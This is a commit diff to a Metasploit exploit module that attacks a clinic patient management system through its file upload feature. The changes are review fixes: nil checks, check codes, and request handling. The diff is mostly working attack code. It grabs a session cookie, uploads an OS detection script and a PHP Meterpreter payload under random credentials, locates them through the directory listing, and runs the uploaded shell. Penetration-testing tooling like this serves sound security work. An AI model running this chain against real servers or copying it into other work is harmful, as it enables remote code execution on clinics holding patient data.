Skip to content

Commit 4c51165

Browse files
committed
Made necessary changes as mentioned by the reviewer
1 parent d196591 commit 4c51165

File tree

1 file changed

+24
-21
lines changed

1 file changed

+24
-21
lines changed

modules/exploits/multi/http/clinic_pms_fileupload_rce.rb

Lines changed: 24 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -62,12 +62,18 @@ def check
6262
})
6363

6464
unless res_session && res_session.code == 302 && res_session.get_cookies
65-
print_error('Failed to retrieve PHPSESSID. Target may not be vulnerable.')
66-
return CheckCode::Safe
65+
print_error('Server connect error. Couldn\'t connect or get necessary information - try to check your options.')
66+
return CheckCode::Unknown
6767
end
6868

69-
phpsessid = res_session.get_cookies.match(/PHPSESSID=([^;]+)/)[1]
70-
vprint_good("Obtained PHPSESSID: #{phpsessid}")
69+
phpsessid = res_session.get_cookies.match(/PHPSESSID=([^;]+)/)
70+
if phpsessid.nil?
71+
print_error('Failed to retrieve PHPSESSID. Target may not be vulnerable.')
72+
return CheckCode::Unknown
73+
else
74+
phpsessid = phpsessid[1]
75+
vprint_good("Obtained PHPSESSID: #{phpsessid}")
76+
end
7177

7278
# Step 2: Attempt File Upload
7379
dummy_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.txt"
@@ -103,12 +109,12 @@ def check
103109
'cookie' => "PHPSESSID=#{phpsessid}"
104110
})
105111

106-
if res_listing && res_listing.code == 200 && res_listing.body.include?(dummy_filename)
112+
if res_listing && res_listing.code == 200 && !res_listing.body.nil? && res_listing.body&.include?(dummy_filename)
107113
vprint_good("File #{dummy_filename} found in /pms/user_images. Target is vulnerable!")
108-
return CheckCode::Vulnerable
114+
CheckCode::Vulnerable
109115
else
110116
vprint_error("File #{dummy_filename} not found in /pms/user_images. Target may not be vulnerable.")
111-
return CheckCode::Appears
117+
CheckCode::Unknown
112118
end
113119
end
114120

@@ -154,10 +160,10 @@ def upload_shell
154160

155161
fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res_listing && res_listing.code == 200
156162

157-
matches = res_listing.body.scan(/<a href="(\d+#{Regexp.escape(detection_basename)}\w*\.php)"/)
158-
fail_with(Failure::NotFound, 'Uploaded OS detection script not found in directory listing') if matches.empty?
163+
match = res_listing.body&.match(/<a href="(\d+#{Regexp.escape(detection_basename)}\w*\.php)"/)
164+
fail_with(Failure::NotFound, 'Uploaded OS detection script not found in directory listing') if match.nil?
159165

160-
actual_detection_filename = matches.first.first
166+
actual_detection_filename = match[1]
161167
vprint_status("Detected script filename: #{actual_detection_filename}")
162168

163169
# Step 3: Execute the detection script
@@ -168,9 +174,9 @@ def upload_shell
168174
'method' => 'GET'
169175
})
170176

171-
fail_with(Failure::UnexpectedReply, 'Failed to execute OS detection script') unless res && res.code == 200
177+
fail_with(Failure::UnexpectedReply, 'Failed to execute OS detection script') unless res && res.code == 200 && !res.body.nil?
172178
detected_os = res.body.strip.downcase
173-
print_status("Detected OS: #{detected_os}")
179+
vprint_status("Detected OS: #{detected_os}")
174180

175181
# Step 4: Choose payload based on OS
176182
if detected_os.include?('win')
@@ -182,13 +188,13 @@ def upload_shell
182188
end
183189

184190
# Step 5: Upload the payload
191+
random_user = Rex::Text.rand_text_alphanumeric(8)
192+
random_password = Rex::Text.rand_text_alphanumeric(12)
185193
payload_basename = Rex::Text.rand_text_alphanumeric(8).to_s
186194
payload_filename = "#{payload_basename}.php"
187195
print_status("Uploading PHP Meterpreter payload as #{payload_filename}...")
188196

189197
post_data = Rex::MIME::Message.new
190-
random_user = Rex::Text.rand_text_alphanumeric(8)
191-
random_password = Rex::Text.rand_text_alphanumeric(12)
192198
post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"')
193199
post_data.add_part(random_user, nil, nil, 'form-data; name="user_name"')
194200
post_data.add_part(random_password, nil, nil, 'form-data; name="password"')
@@ -219,18 +225,15 @@ def fetch_uploaded_filename
219225
fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res && res.code == 200
220226

221227
# Search for the uploaded filename
222-
matches = res.body.scan(/href="(\d+#{Regexp.escape(@uploaded_filename)})"/)
223-
if matches.empty?
224-
fail_with(Failure::NotFound, 'Uploaded file not found in directory listing')
225-
end
226-
227-
matches.first.first
228+
match = res.body&.match(/href="(\d+#{Regexp.escape(@uploaded_filename)})"/)
229+
fail_with(Failure::NotFound, 'Uploaded file not found in directory listing') if match.nil?
230+
match[1]
228231
end
229232

230233
def execute_shell(uploaded_file)
231234
shell_url = normalize_uri(target_uri.path, 'user_images', uploaded_file)
232235
print_status("Executing the uploaded shell at #{shell_url}...")
233-
send_request_cgi({
236+
send_request_raw({
234237
'uri' => shell_url,
235238
'method' => 'GET'
236239
})

0 commit comments

Comments
 (0)